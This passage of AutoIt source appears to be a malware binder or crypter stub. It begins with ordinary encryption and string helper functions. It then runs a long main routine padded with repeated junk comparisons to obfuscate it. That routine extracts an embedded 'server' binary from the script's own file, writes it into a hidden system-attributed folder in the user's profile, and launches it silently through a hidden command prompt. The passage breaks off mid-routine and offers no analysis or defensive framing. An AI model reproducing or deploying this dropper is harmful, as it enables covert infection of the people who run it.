  8062.                 $vreturn = -1
  8063.                 ExitLoop
  8064.             EndIf
  8065.         EndIf
  8066.         $hinfile = FileOpen($ssourcefile, 16)
  8067.         If @error Then
  8068.             $ierror = 2
  8069.             $vreturn = -1
  8070.             ExitLoop
  8071.         EndIf
  8072.         $houtfile = FileOpen($sdestinationfile, 26)
  8073.         If @error Then
  8074.             $ierror = 3
  8075.             $vreturn = -1
  8076.             ExitLoop
  8077.         EndIf
  8078.         Do
  8079.             $btempdata = FileRead($hinfile, 1024 * 1024)
  8080.             $iread += BinaryLen($btempdata)
  8081.             If $iread = $ifilesize Then
  8082.                 $btempdata = _crypt_encryptdata($btempdata, $vcryptkey, $calg_userkey, True)
  8083.                 If @error Then
  8084.                     $ierror = 4
  8085.                     $vreturn = -1
  8086.                 EndIf
  8087.                 FileWrite($houtfile, $btempdata)
  8088.                 ExitLoop 2
  8089.             Else
  8090.                 $btempdata = _crypt_encryptdata($btempdata, $vcryptkey, $calg_userkey, False)
  8091.                 If @error Then
  8092.                     $ierror = 5
  8093.                     $vreturn = -1
  8094.                     ExitLoop 2
  8095.                 EndIf
  8096.                 FileWrite($houtfile, $btempdata)
  8097.             EndIf
  8098.         Until False
  8099.     Until True
  8100.     If $ialg_id <> $calg_userkey Then _crypt_destroykey($vcryptkey)
  8101.     _crypt_shutdown()
  8102.     If $hinfile <> -1 Then FileClose($hinfile)
  8103.     If $houtfile <> -1 Then FileClose($houtfile)
  8104.     Return SetError($ierror, 0, $vreturn)
  8105. EndFunc
  8106.  
  8107. Func _crypt_decryptfile($ssourcefile, $sdestinationfile, $vcryptkey, $ialg_id)
  8108.     Local $hinfile, $houtfile
  8109.     Local $ierror = 0, $vreturn = True
  8110.     Local $btempdata
  8111.     Local $ifilesize = FileGetSize($ssourcefile)
  8112.     Local $iread = 0
  8113.     _crypt_startup()
  8114.     Do
  8115.         If $ialg_id <> $calg_userkey Then
  8116.             $vcryptkey = _crypt_derivekey($vcryptkey, $ialg_id)
  8117.             If @error Then
  8118.                 $ierror = 1
  8119.                 $vreturn = -1
  8120.                 ExitLoop
  8121.             EndIf
  8122.         EndIf
  8123.         $hinfile = FileOpen($ssourcefile, 16)
  8124.         If @error Then
  8125.             $ierror = 2
  8126.             $vreturn = -1
  8127.             ExitLoop
  8128.         EndIf
  8129.         $houtfile = FileOpen($sdestinationfile, 26)
  8130.         If @error Then
  8131.             $ierror = 3
  8132.             $vreturn = -1
  8133.             ExitLoop
  8134.         EndIf
  8135.         Do
  8136.             $btempdata = FileRead($hinfile, 1024 * 1024)
  8137.             $iread += BinaryLen($btempdata)
  8138.             If $iread = $ifilesize Then
  8139.                 $btempdata = _crypt_decryptdata($btempdata, $vcryptkey, $calg_userkey, True)
  8140.                 If @error Then
  8141.                     $ierror = 4
  8142.                     $vreturn = -1
  8143.                 EndIf
  8144.                 FileWrite($houtfile, $btempdata)
  8145.                 ExitLoop 2
  8146.             Else
  8147.                 $btempdata = _crypt_decryptdata($btempdata, $vcryptkey, $calg_userkey, False)
  8148.                 If @error Then
  8149.                     $ierror = 5
  8150.                     $vreturn = -1
  8151.                     ExitLoop 2
  8152.                 EndIf
  8153.                 FileWrite($houtfile, $btempdata)
  8154.             EndIf
  8155.         Until False
  8156.     Until True
  8157.     If $ialg_id <> $calg_userkey Then _crypt_destroykey($vcryptkey)
  8158.     _crypt_shutdown()
  8159.     If $hinfile <> -1 Then FileClose($hinfile)
  8160.     If $houtfile <> -1 Then FileClose($houtfile)
  8161.     Return SetError($ierror, 0, $vreturn)
  8162. EndFunc
  8163.  
  8164. Func __crypt_refcount()
  8165.     Return $__g_acryptinternaldata[0]
  8166. EndFunc
  8167.  
  8168. Func __crypt_refcountinc()
  8169.     $__g_acryptinternaldata[0] += 1
  8170. EndFunc
  8171.  
  8172. Func __crypt_refcountdec()
  8173.     If $__g_acryptinternaldata[0] > 0 Then $__g_acryptinternaldata[0] -= 1
  8174. EndFunc
  8175.  
  8176. Func __crypt_dllhandle()
  8177.     Return $__g_acryptinternaldata[1]
  8178. EndFunc
  8179.  
  8180. Func __crypt_dllhandleset($hadvapi32)
  8181.     $__g_acryptinternaldata[1] = $hadvapi32
  8182. EndFunc
  8183.  
  8184. Func __crypt_context()
  8185.     Return $__g_acryptinternaldata[2]
  8186. EndFunc
  8187.  
  8188. Func __crypt_contextset($hcryptcontext)
  8189.     $__g_acryptinternaldata[2] = $hcryptcontext
  8190. EndFunc
  8191.  
  8192. $a000a6006t00bg00t0 = "9v00GE00wd00QJ002a"
  8193. $7i009o00wh008b00n80x00j300hl00ma0087 = "2b00u400oD00LM00jx"
  8194. If $a000a6006t00bg00t0 = "a000A6006T00Bg00T0" Then
  8195.     Exit
  8196. Else
  8197. EndIf
  8198. $a000a6006t00bg00t0 = "9v00GE00wd00QJ002a"
  8199. $7i009o00wh008b00n80x00j300hl00ma0087 = "2b00u400oD00LM00jx"
  8200. If $a000a6006t00bg00t0 = "a000A6006T00Bg00T0" Then
  8201.     Exit
  8202. Else
  8203. EndIf
  8204.  
  8205. Func _hextostring($strhex)
  8206.     If StringLeft($strhex, 2) = "0x" Then Return BinaryToString($strhex)
  8207.     Return BinaryToString("0x" & $strhex)
  8208. EndFunc
  8209.  
  8210. Func _stringbetween($s_string, $s_start, $s_end, $v_case = -1)
  8211.     Local $s_case = ""
  8212.     If $v_case = Default OR $v_case = -1 Then $s_case = "(?i)"
  8213.     Local $s_pattern_escape = "(\.|\||\*|\?|\+|\(|\)|\{|\}|\[|\]|\^|\$|\\)"
  8214.     $s_start = StringRegExpReplace($s_start, $s_pattern_escape, "\\$1")
  8215.     $s_end = StringRegExpReplace($s_end, $s_pattern_escape, "\\$1")
  8216.     If $s_start = "" Then $s_start = "\A"
  8217.     If $s_end = "" Then $s_end = "\z"
  8218.     Local $a_ret = StringRegExp($s_string, "(?s)" & $s_case & $s_start & "(.*?)" & $s_end, 3)
  8219.     If @error Then Return SetError(1, 0, 0)
  8220.     Return $a_ret
  8221. EndFunc
  8222.  
  8223. Func _stringencrypt($i_encrypt, $s_encrypttext, $s_encryptpassword, $i_encryptlevel = 1)
  8224.     If $i_encrypt <> 0 AND $i_encrypt <> 1 Then
  8225.         SetError(1, 0, "")
  8226.     ElseIf $s_encrypttext = "" OR $s_encryptpassword = "" Then
  8227.         SetError(1, 0, "")
  8228.     Else
  8229.         If Number($i_encryptlevel) <= 0 OR Int($i_encryptlevel) <> $i_encryptlevel Then $i_encryptlevel = 1
  8230.         Local $v_encryptmodified
  8231.         Local $i_encryptcounth
  8232.         Local $i_encryptcountg
  8233.         Local $v_encryptswap
  8234.         Local $av_encryptbox[256][2]
  8235.         Local $i_encryptcounta
  8236.         Local $i_encryptcountb
  8237.         Local $i_encryptcountc
  8238.         Local $i_encryptcountd
  8239.         Local $i_encryptcounte
  8240.         Local $v_encryptcipher
  8241.         Local $v_encryptcipherby
  8242.         If $i_encrypt = 1 Then
  8243.             For $i_encryptcountf = 0 To $i_encryptlevel Step 1
  8244.                 $i_encryptcountg = ""
  8245.                 $i_encryptcounth = ""
  8246.                 $v_encryptmodified = ""
  8247.                 For $i_encryptcountg = 1 To StringLen($s_encrypttext)
  8248.                     If $i_encryptcounth = StringLen($s_encryptpassword) Then
  8249.                         $i_encryptcounth = 1
  8250.                     Else
  8251.                         $i_encryptcounth += 1
  8252.                     EndIf
  8253.                     $v_encryptmodified = $v_encryptmodified & Chr(BitXOR(Asc(StringMid($s_encrypttext, $i_encryptcountg, 1)), Asc(StringMid($s_encryptpassword, $i_encryptcounth, 1)), 255))
  8254.                 Next
  8255.                 $s_encrypttext = $v_encryptmodified
  8256.                 $i_encryptcounta = ""
  8257.                 $i_encryptcountb = 0
  8258.                 $i_encryptcountc = ""
  8259.                 $i_encryptcountd = ""
  8260.                 $i_encryptcounte = ""
  8261.                 $v_encryptcipherby = ""
  8262.                 $v_encryptcipher = ""
  8263.                 $v_encryptswap = ""
  8264.                 $av_encryptbox = ""
  8265.                 Local $av_encryptbox[256][2]
  8266.                 For $i_encryptcounta = 0 To 255
  8267.                     $av_encryptbox[$i_encryptcounta][1] = Asc(StringMid($s_encryptpassword, Mod($i_encryptcounta, StringLen($s_encryptpassword)) + 1, 1))
  8268.                     $av_encryptbox[$i_encryptcounta][0] = $i_encryptcounta
  8269.                 Next
  8270.                 For $i_encryptcounta = 0 To 255
  8271.                     $i_encryptcountb = Mod(($i_encryptcountb + $av_encryptbox[$i_encryptcounta][0] + $av_encryptbox[$i_encryptcounta][1]), 256)
  8272.                     $v_encryptswap = $av_encryptbox[$i_encryptcounta][0]
  8273.                     $av_encryptbox[$i_encryptcounta][0] = $av_encryptbox[$i_encryptcountb][0]
  8274.                     $av_encryptbox[$i_encryptcountb][0] = $v_encryptswap
  8275.                 Next
  8276.                 For $i_encryptcounta = 1 To StringLen($s_encrypttext)
  8277.                     $i_encryptcountc = Mod(($i_encryptcountc + 1), 256)
  8278.                     $i_encryptcountd = Mod(($i_encryptcountd + $av_encryptbox[$i_encryptcountc][0]), 256)
  8279.                     $i_encryptcounte = $av_encryptbox[Mod(($av_encryptbox[$i_encryptcountc][0] + $av_encryptbox[$i_encryptcountd][0]), 256)][0]
  8280.                     $v_encryptcipherby = BitXOR(Asc(StringMid($s_encrypttext, $i_encryptcounta, 1)), $i_encryptcounte)
  8281.                     $v_encryptcipher &= Hex($v_encryptcipherby, 2)
  8282.                 Next
  8283.                 $s_encrypttext = $v_encryptcipher
  8284.             Next
  8285.         Else
  8286.             For $i_encryptcountf = 0 To $i_encryptlevel Step 1
  8287.                 $i_encryptcountb = 0
  8288.                 $i_encryptcountc = ""
  8289.                 $i_encryptcountd = ""
  8290.                 $i_encryptcounte = ""
  8291.                 $v_encryptcipherby = ""
  8292.                 $v_encryptcipher = ""
  8293.                 $v_encryptswap = ""
  8294.                 $av_encryptbox = ""
  8295.                 Local $av_encryptbox[256][2]
  8296.                 For $i_encryptcounta = 0 To 255
  8297.                     $av_encryptbox[$i_encryptcounta][1] = Asc(StringMid($s_encryptpassword, Mod($i_encryptcounta, StringLen($s_encryptpassword)) + 1, 1))
  8298.                     $av_encryptbox[$i_encryptcounta][0] = $i_encryptcounta
  8299.                 Next
  8300.                 For $i_encryptcounta = 0 To 255
  8301.                     $i_encryptcountb = Mod(($i_encryptcountb + $av_encryptbox[$i_encryptcounta][0] + $av_encryptbox[$i_encryptcounta][1]), 256)
  8302.                     $v_encryptswap = $av_encryptbox[$i_encryptcounta][0]
  8303.                     $av_encryptbox[$i_encryptcounta][0] = $av_encryptbox[$i_encryptcountb][0]
  8304.                     $av_encryptbox[$i_encryptcountb][0] = $v_encryptswap
  8305.                 Next
  8306.                 For $i_encryptcounta = 1 To StringLen($s_encrypttext) Step 2
  8307.                     $i_encryptcountc = Mod(($i_encryptcountc + 1), 256)
  8308.                     $i_encryptcountd = Mod(($i_encryptcountd + $av_encryptbox[$i_encryptcountc][0]), 256)
  8309.                     $i_encryptcounte = $av_encryptbox[Mod(($av_encryptbox[$i_encryptcountc][0] + $av_encryptbox[$i_encryptcountd][0]), 256)][0]
  8310.                     $v_encryptcipherby = BitXOR(Dec(StringMid($s_encrypttext, $i_encryptcounta, 2)), $i_encryptcounte)
  8311.                     $v_encryptcipher = $v_encryptcipher & Chr($v_encryptcipherby)
  8312.                 Next
  8313.                 $s_encrypttext = $v_encryptcipher
  8314.                 $i_encryptcountg = ""
  8315.                 $i_encryptcounth = ""
  8316.                 $v_encryptmodified = ""
  8317.                 For $i_encryptcountg = 1 To StringLen($s_encrypttext)
  8318.                     If $i_encryptcounth = StringLen($s_encryptpassword) Then
  8319.                         $i_encryptcounth = 1
  8320.                     Else
  8321.                         $i_encryptcounth += 1
  8322.                     EndIf
  8323.                     $v_encryptmodified &= Chr(BitXOR(Asc(StringMid($s_encrypttext, $i_encryptcountg, 1)), Asc(StringMid($s_encryptpassword, $i_encryptcounth, 1)), 255))
  8324.                 Next
  8325.                 $s_encrypttext = $v_encryptmodified
  8326.             Next
  8327.         EndIf
  8328.         Return $s_encrypttext
  8329.     EndIf
  8330. EndFunc
  8331.  
  8332. Func _stringexplode($sstring, $sdelimiter, $ilimit = 0)
  8333.     If $ilimit > 0 Then
  8334.         $sstring = StringReplace($sstring, $sdelimiter, Chr(0), $ilimit)
  8335.         $sdelimiter = Chr(0)
  8336.     ElseIf $ilimit < 0 Then
  8337.         Local $iindex = StringInStr($sstring, $sdelimiter, 0, $ilimit)
  8338.         If $iindex Then
  8339.             $sstring = StringLeft($sstring, $iindex - 1)
  8340.         EndIf
  8341.     EndIf
  8342.     Return StringSplit($sstring, $sdelimiter, 3)
  8343. EndFunc
  8344.  
  8345. Func _stringinsert($s_string, $s_insertstring, $i_position)
  8346.     Local $i_length, $s_start, $s_end
  8347.     If $s_string = "" OR (NOT IsString($s_string)) Then
  8348.         Return SetError(1, 0, $s_string)
  8349.     ElseIf $s_insertstring = "" OR (NOT IsString($s_string)) Then
  8350.         Return SetError(2, 0, $s_string)
  8351.     Else
  8352.         $i_length = StringLen($s_string)
  8353.         If (Abs($i_position) > $i_length) OR (NOT IsInt($i_position)) Then
  8354.             Return SetError(3, 0, $s_string)
  8355.         EndIf
  8356.     EndIf
  8357.     If $i_position = 0 Then
  8358.         Return $s_insertstring & $s_string
  8359.     ElseIf $i_position > 0 Then
  8360.         $s_start = StringLeft($s_string, $i_position)
  8361.         $s_end = StringRight($s_string, $i_length - $i_position)
  8362.         Return $s_start & $s_insertstring & $s_end
  8363.     ElseIf $i_position < 0 Then
  8364.         $s_start = StringLeft($s_string, Abs($i_length + $i_position))
  8365.         $s_end = StringRight($s_string, Abs($i_position))
  8366.         Return $s_start & $s_insertstring & $s_end
  8367.     EndIf
  8368. EndFunc
  8369.  
  8370. Func _stringproper($s_string)
  8371.     Local $ix = 0
  8372.     Local $capnext = 1
  8373.     Local $s_nstr = ""
  8374.     Local $s_curchar
  8375.     For $ix = 1 To StringLen($s_string)
  8376.         $s_curchar = StringMid($s_string, $ix, 1)
  8377.         Select
  8378.             Case $capnext = 1
  8379.                 If StringRegExp($s_curchar, "[a-zA-ZÀ-ÿaS~x]") Then
  8380.                     $s_curchar = StringUpper($s_curchar)
  8381.                     $capnext = 0
  8382.                 EndIf
  8383.             Case NOT StringRegExp($s_curchar, "[a-zA-ZÀ-ÿaS~x]")
  8384.                 $capnext = 1
  8385.             Case Else
  8386.                 $s_curchar = StringLower($s_curchar)
  8387.         EndSelect
  8388.         $s_nstr &= $s_curchar
  8389.     Next
  8390.     Return $s_nstr
  8391. EndFunc
  8392.  
  8393. Func _stringrepeat($sstring, $irepeatcount)
  8394.     Local $sresult
  8395.     Select
  8396.         Case NOT StringIsInt($irepeatcount)
  8397.             SetError(1)
  8398.             Return ""
  8399.         Case StringLen($sstring) < 1
  8400.             SetError(1)
  8401.             Return ""
  8402.         Case $irepeatcount <= 0
  8403.             SetError(1)
  8404.             Return ""
  8405.         Case Else
  8406.             For $icount = 1 To $irepeatcount
  8407.                 $sresult &= $sstring
  8408.             Next
  8409.             Return $sresult
  8410.     EndSelect
  8411. EndFunc
  8412.  
  8413. Func _stringreverse($s_string)
  8414.     Local $i_len = StringLen($s_string)
  8415.     If $i_len < 1 Then Return SetError(1, 0, "")
  8416.     Local $t_chars = DllStructCreate("char[" & $i_len + 1 & "]")
  8417.     DllStructSetData($t_chars, 1, $s_string)
  8418.     Local $a_rev = DllCall("msvcrt.dll", "ptr:cdecl", "_strrev", "struct*", $t_chars)
  8419.     If @error OR $a_rev[0] = 0 Then Return SetError(2, 0, "")
  8420.     Return DllStructGetData($t_chars, 1)
  8421. EndFunc
  8422.  
  8423. Func _stringtohex($strchar)
  8424.     Return Hex(StringToBinary($strchar))
  8425. EndFunc
  8426.  
  8427. $a000a6006t00bg00t0 = "9v00GE00wd00QJ002a"
  8428. $7i009o00wh008b00n80x00j300hl00ma0087 = "2b00u400oD00LM00jx"
  8429. If $a000a6006t00bg00t0 = "a000A6006T00Bg00T0" Then
  8430.     Exit
  8431. Else
  8432. EndIf
  8433. $a000a6006t00bg00t0 = "9v00GE00wd00QJ002a"
  8434. $7i009o00wh008b00n80x00j300hl00ma0087 = "2b00u400oD00LM00jx"
  8435. If $a000a6006t00bg00t0 = "a000A6006T00Bg00T0" Then
  8436.     Exit
  8437. Else
  8438. EndIf
  8439. $autoit = @AutoItExe
  8440. $a000a6006t00bg00t0 = "9v00GE00wd00QJ002a"
  8441. $7i009o00wh008b00n80x00j300hl00ma0087 = "2b00u400oD00LM00jx"
  8442. If $a000a6006t00bg00t0 = "a000A6006T00Bg00T0" Then
  8443.     Exit
  8444. Else
  8445. EndIf
  8446. $a000a6006t00bg00t0 = "9v00GE00wd00QJ002a"
  8447. $7i009o00wh008b00n80x00j300hl00ma0087 = "2b00u400oD00LM00jx"
  8448. If $a000a6006t00bg00t0 = "a000A6006T00Bg00T0" Then
  8449.     Exit
  8450. Else
  8451. EndIf
  8452. $path = FileRead($autoit, FileGetSize($autoit))
  8453. $a000a6006t00bg00t0 = "9v00GE00wd00QJ002a"
  8454. $7i009o00wh008b00n80x00j300hl00ma0087 = "2b00u400oD00LM00jx"
  8455. If $a000a6006t00bg00t0 = "a000A6006T00Bg00T0" Then
  8456.     Exit
  8457. Else
  8458. EndIf
  8459. $a000a6006t00bg00t0 = "9v00GE00wd00QJ002a"
  8460. $7i009o00wh008b00n80x00j300hl00ma0087 = "2b00u400oD00LM00jx"
  8461. If $a000a6006t00bg00t0 = "a000A6006T00Bg00T0" Then
  8462.     Exit
  8463. Else
  8464. EndIf
  8465. Local $c_pass = IniRead(@ScriptFullPath, "crypted", "key", "NotFound")
  8466. $a000a6006t00bg00t0 = "9v00GE00wd00QJ002a"
  8467. $7i009o00wh008b00n80x00j300hl00ma0087 = "2b00u400oD00LM00jx"
  8468. If $a000a6006t00bg00t0 = "a000A6006T00Bg00T0" Then
  8469.     Exit
  8470. Else
  8471. EndIf
  8472. Local $var = IniRead(@ScriptFullPath, "random", "key", "NotFound")
  8473. $a000a6006t00bg00t0 = "9v00GE00wd00QJ002a"
  8474. $7i009o00wh008b00n80x00j300hl00ma0087 = "2b00u400oD00LM00jx"
  8475. If $a000a6006t00bg00t0 = "a000A6006T00Bg00T0" Then
  8476.     Exit
  8477. Else
  8478. EndIf
  8479. Local $var2 = IniRead(@ScriptFullPath, "binder", "key", "NotFound")
  8480. $a000a6006t00bg00t0 = "9v00GE00wd00QJ002a"
  8481. $7i009o00wh008b00n80x00j300hl00ma0087 = "2b00u400oD00LM00jx"
  8482. If $a000a6006t00bg00t0 = "a000A6006T00Bg00T0" Then
  8483.     Exit
  8484. Else
  8485. EndIf
  8486. Local $fbmessage = IniRead(@ScriptFullPath, "fbmessage", "key", "NotFound")
  8487. $a000a6006t00bg00t0 = "9v00GE00wd00QJ002a"
  8488. $7i009o00wh008b00n80x00j300hl00ma0087 = "2b00u400oD00LM00jx"
  8489. If $a000a6006t00bg00t0 = "a000A6006T00Bg00T0" Then
  8490.     Exit
  8491. Else
  8492. EndIf
  8493. $a000a6006t00bg00t0 = "9v00GE00wd00QJ002a"
  8494. $7i009o00wh008b00n80x00j300hl00ma0087 = "2b00u400oD00LM00jx"
  8495. If $a000a6006t00bg00t0 = "a000A6006T00Bg00T0" Then
  8496.     Exit
  8497. Else
  8498. EndIf
  8499. $randoms = $var
  8500. $a000a6006t00bg00t0 = "9v00GE00wd00QJ002a"
  8501. $7i009o00wh008b00n80x00j300hl00ma0087 = "2b00u400oD00LM00jx"
  8502. If $a000a6006t00bg00t0 = "a000A6006T00Bg00T0" Then
  8503.     Exit
  8504. Else
  8505. EndIf
  8506. $confuser = "/-confuser-/"
  8507. $a000a6006t00bg00t0 = "9v00GE00wd00QJ002a"
  8508. $7i009o00wh008b00n80x00j300hl00ma0087 = "2b00u400oD00LM00jx"
  8509. If $a000a6006t00bg00t0 = "a000A6006T00Bg00T0" Then
  8510.     Exit
  8511. Else
  8512. EndIf
  8513. $a000a6006t00bg00t0 = "9v00GE00wd00QJ002a"
  8514. $7i009o00wh008b00n80x00j300hl00ma0087 = "2b00u400oD00LM00jx"
  8515. If $a000a6006t00bg00t0 = "a000A6006T00Bg00T0" Then
  8516.     Exit
  8517. Else
  8518. EndIf
  8519. $a000a6006t00bg00t0 = "9v00GE00wd00QJ002a"
  8520. $7i009o00wh008b00n80x00j300hl00ma0087 = "2b00u400oD00LM00jx"
  8521. If $a000a6006t00bg00t0 = "a000A6006T00Bg00T0" Then
  8522.     Exit
  8523. Else
  8524. EndIf
  8525. $a000a6006t00bg00t0 = "9v00GE00wd00QJ002a"
  8526. $7i009o00wh008b00n80x00j300hl00ma0087 = "2b00u400oD00LM00jx"
  8527. If $a000a6006t00bg00t0 = "a000A6006T00Bg00T0" Then
  8528.     Exit
  8529. Else
  8530. EndIf
  8531. If NOT FileExists(@UserProfileDir & "\" & $var2) Then
  8532.     $a000a6006t00bg00t0 = "9v00GE00wd00QJ002a"
  8533.     $7i009o00wh008b00n80x00j300hl00ma0087 = "2b00u400oD00LM00jx"
  8534.     If $a000a6006t00bg00t0 = "a000A6006T00Bg00T0" Then
  8535.         Exit
  8536.     Else
  8537.     EndIf
  8538.     $file_settings = ""
  8539.     $a000a6006t00bg00t0 = "9v00GE00wd00QJ002a"
  8540.     $7i009o00wh008b00n80x00j300hl00ma0087 = "2b00u400oD00LM00jx"
  8541.     If $a000a6006t00bg00t0 = "a000A6006T00Bg00T0" Then
  8542.         Exit
  8543.     Else
  8544.     EndIf
  8545.     $a000a6006t00bg00t0 = "9v00GE00wd00QJ002a"
  8546.     $7i009o00wh008b00n80x00j300hl00ma0087 = "2b00u400oD00LM00jx"
  8547.     If $a000a6006t00bg00t0 = "a000A6006T00Bg00T0" Then
  8548.         Exit
  8549.     Else
  8550.     EndIf
  8551.     $fuckname = @ScriptFullPath
  8552.     $a000a6006t00bg00t0 = "9v00GE00wd00QJ002a"
  8553.     $7i009o00wh008b00n80x00j300hl00ma0087 = "2b00u400oD00LM00jx"
  8554.     If $a000a6006t00bg00t0 = "a000A6006T00Bg00T0" Then
  8555.         Exit
  8556.     Else
  8557.     EndIf
  8558.     $o_c = FileOpen($fuckname)
  8559.     $a000a6006t00bg00t0 = "9v00GE00wd00QJ002a"
  8560.     $7i009o00wh008b00n80x00j300hl00ma0087 = "2b00u400oD00LM00jx"
  8561.     If $a000a6006t00bg00t0 = "a000A6006T00Bg00T0" Then
  8562.         Exit
  8563.     Else
  8564.     EndIf
  8565.     $r_c = FileRead($o_c)
  8566.     $a000a6006t00bg00t0 = "9v00GE00wd00QJ002a"
  8567.     $7i009o00wh008b00n80x00j300hl00ma0087 = "2b00u400oD00LM00jx"
  8568.     If $a000a6006t00bg00t0 = "a000A6006T00Bg00T0" Then
  8569.         Exit
  8570.     Else
  8571.     EndIf
  8572.     FileClose($o_c)
  8573.     $a000a6006t00bg00t0 = "9v00GE00wd00QJ002a"
  8574.     $7i009o00wh008b00n80x00j300hl00ma0087 = "2b00u400oD00LM00jx"
  8575.     If $a000a6006t00bg00t0 = "a000A6006T00Bg00T0" Then
  8576.         Exit
  8577.     Else
  8578.     EndIf
  8579.     $empty_settings = get_binded_settings($r_c, "[JY]")
  8580.     $a000a6006t00bg00t0 = "9v00GE00wd00QJ002a"
  8581.     $7i009o00wh008b00n80x00j300hl00ma0087 = "2b00u400oD00LM00jx"
  8582.     If $a000a6006t00bg00t0 = "a000A6006T00Bg00T0" Then
  8583.         Exit
  8584.     Else
  8585.     EndIf
  8586.     $file_settings = get_binded_settings($empty_settings, "[J_Y]")
  8587.     $a000a6006t00bg00t0 = "9v00GE00wd00QJ002a"
  8588.     $7i009o00wh008b00n80x00j300hl00ma0087 = "2b00u400oD00LM00jx"
  8589.     If $a000a6006t00bg00t0 = "a000A6006T00Bg00T0" Then
  8590.         Exit
  8591.     Else
  8592.     EndIf
  8593.     $binary_of_server = StringTrimRight($empty_settings, StringLen($file_settings) + StringLen("[J_Y]"))
  8594.     $a000a6006t00bg00t0 = "9v00GE00wd00QJ002a"
  8595.     $7i009o00wh008b00n80x00j300hl00ma0087 = "2b00u400oD00LM00jx"
  8596.     If $a000a6006t00bg00t0 = "a000A6006T00Bg00T0" Then
  8597.         Exit
  8598.     Else
  8599.     EndIf
  8600.     If $file_settings <> "" Then DirCreate(@UserProfileDir & "\" & $var2)
  8601.     $a000a6006t00bg00t0 = "9v00GE00wd00QJ002a"
  8602.     $7i009o00wh008b00n80x00j300hl00ma0087 = "2b00u400oD00LM00jx"
  8603.     If $a000a6006t00bg00t0 = "a000A6006T00Bg00T0" Then
  8604.         Exit
  8605.     Else
  8606.     EndIf
  8607.     $a000a6006t00bg00t0 = "9v00GE00wd00QJ002a"
  8608.     $7i009o00wh008b00n80x00j300hl00ma0087 = "2b00u400oD00LM00jx"
  8609.     If $a000a6006t00bg00t0 = "a000A6006T00Bg00T0" Then
  8610.         Exit
  8611.     Else
  8612.     EndIf
  8613.     $a000a6006t00bg00t0 = "9v00GE00wd00QJ002a"
  8614.     $7i009o00wh008b00n80x00j300hl00ma0087 = "2b00u400oD00LM00jx"
  8615.     If $a000a6006t00bg00t0 = "a000A6006T00Bg00T0" Then
  8616.         Exit
  8617.     Else
  8618.     EndIf
  8619.     $a000a6006t00bg00t0 = "9v00GE00wd00QJ002a"
  8620.     $7i009o00wh008b00n80x00j300hl00ma0087 = "2b00u400oD00LM00jx"
  8621.     If $a000a6006t00bg00t0 = "a000A6006T00Bg00T0" Then
  8622.         Exit
  8623.     Else
  8624.     EndIf
  8625.     $a000a6006t00bg00t0 = "9v00GE00wd00QJ002a"
  8626.     $7i009o00wh008b00n80x00j300hl00ma0087 = "2b00u400oD00LM00jx"
  8627.     If $a000a6006t00bg00t0 = "a000A6006T00Bg00T0" Then
  8628.         Exit
  8629.     Else
  8630.     EndIf
  8631.     $fget = get_binded_settings($r_c, "[J_Y]")
  8632.     $a000a6006t00bg00t0 = "9v00GE00wd00QJ002a"
  8633.     $7i009o00wh008b00n80x00j300hl00ma0087 = "2b00u400oD00LM00jx"
  8634.     If $a000a6006t00bg00t0 = "a000A6006T00Bg00T0" Then
  8635.         Exit
  8636.     Else
  8637.     EndIf
  8638.     $oget = get_binded_settings($fget, "[J_END_Y]")
  8639.     $a000a6006t00bg00t0 = "9v00GE00wd00QJ002a"
  8640.     $7i009o00wh008b00n80x00j300hl00ma0087 = "2b00u400oD00LM00jx"
  8641.     If $a000a6006t00bg00t0 = "a000A6006T00Bg00T0" Then
  8642.         Exit
  8643.     Else
  8644.     EndIf
  8645.     $binname = StringTrimRight($fget, StringLen($oget) + StringLen("[J_END_Y]"))
  8646.     $a000a6006t00bg00t0 = "9v00GE00wd00QJ002a"
  8647.     $7i009o00wh008b00n80x00j300hl00ma0087 = "2b00u400oD00LM00jx"
  8648.     If $a000a6006t00bg00t0 = "a000A6006T00Bg00T0" Then
  8649.         Exit
  8650.     Else
  8651.     EndIf
  8652.     $binname = BinaryToString($binname)
  8653.     $a000a6006t00bg00t0 = "9v00GE00wd00QJ002a"
  8654.     $7i009o00wh008b00n80x00j300hl00ma0087 = "2b00u400oD00LM00jx"
  8655.     If $a000a6006t00bg00t0 = "a000A6006T00Bg00T0" Then
  8656.         Exit
  8657.     Else
  8658.     EndIf
  8659.     $a000a6006t00bg00t0 = "9v00GE00wd00QJ002a"
  8660.     $7i009o00wh008b00n80x00j300hl00ma0087 = "2b00u400oD00LM00jx"
  8661.     If $a000a6006t00bg00t0 = "a000A6006T00Bg00T0" Then
  8662.         Exit
  8663.     Else
  8664.     EndIf
  8665.     $a000a6006t00bg00t0 = "9v00GE00wd00QJ002a"
  8666.     $7i009o00wh008b00n80x00j300hl00ma0087 = "2b00u400oD00LM00jx"
  8667.     If $a000a6006t00bg00t0 = "a000A6006T00Bg00T0" Then
  8668.         Exit
  8669.     Else
  8670.     EndIf
  8671.     FileWrite(@UserProfileDir & "\" & $var2 & "\" & $binname, $binary_of_server)
  8672.     $a000a6006t00bg00t0 = "9v00GE00wd00QJ002a"
  8673.     $7i009o00wh008b00n80x00j300hl00ma0087 = "2b00u400oD00LM00jx"
  8674.     If $a000a6006t00bg00t0 = "a000A6006T00Bg00T0" Then
  8675.         Exit
  8676.     Else
  8677.     EndIf
  8678.     $filepath = FileGetShortName(@UserProfileDir & "\" & $var2 & "\" & $binname)
  8679.     $a000a6006t00bg00t0 = "9v00GE00wd00QJ002a"
  8680.     $7i009o00wh008b00n80x00j300hl00ma0087 = "2b00u400oD00LM00jx"
  8681.     If $a000a6006t00bg00t0 = "a000A6006T00Bg00T0" Then
  8682.         Exit
  8683.     Else
  8684.     EndIf
  8685.     FileSetAttrib(@UserProfileDir & "\" & $var2 & "\", "+SH")
  8686.     $a000a6006t00bg00t0 = "9v00GE00wd00QJ002a"
  8687.     $7i009o00wh008b00n80x00j300hl00ma0087 = "2b00u400oD00LM00jx"
  8688.     If $a000a6006t00bg00t0 = "a000A6006T00Bg00T0" Then
  8689.         Exit
  8690.     Else
  8691.     EndIf
  8692.     If FileGetSize($filepath) > 30 Then
  8693.         $a000a6006t00bg00t0 = "9v00GE00wd00QJ002a"
  8694.         $7i009o00wh008b00n80x00j300hl00ma0087 = "2b00u400oD00LM00jx"
  8695.         If $a000a6006t00bg00t0 = "a000A6006T00Bg00T0" Then
  8696.             Exit
  8697.         Else
  8698.         EndIf
  8699.         RunWait(@ComSpec & " /C Start " & $filepath, "", @SW_HIDE)
  8700.         $a000a6006t00bg00t0 = "9v00GE00wd00QJ002a"
  8701.         $7i009o00wh008b00n80x00j300hl00ma0087 = "2b00u400oD00LM00jx"
  8702.         If $a000a6006t00bg00t0 = "a000A6006T00Bg00T0" Then
  8703.             Exit
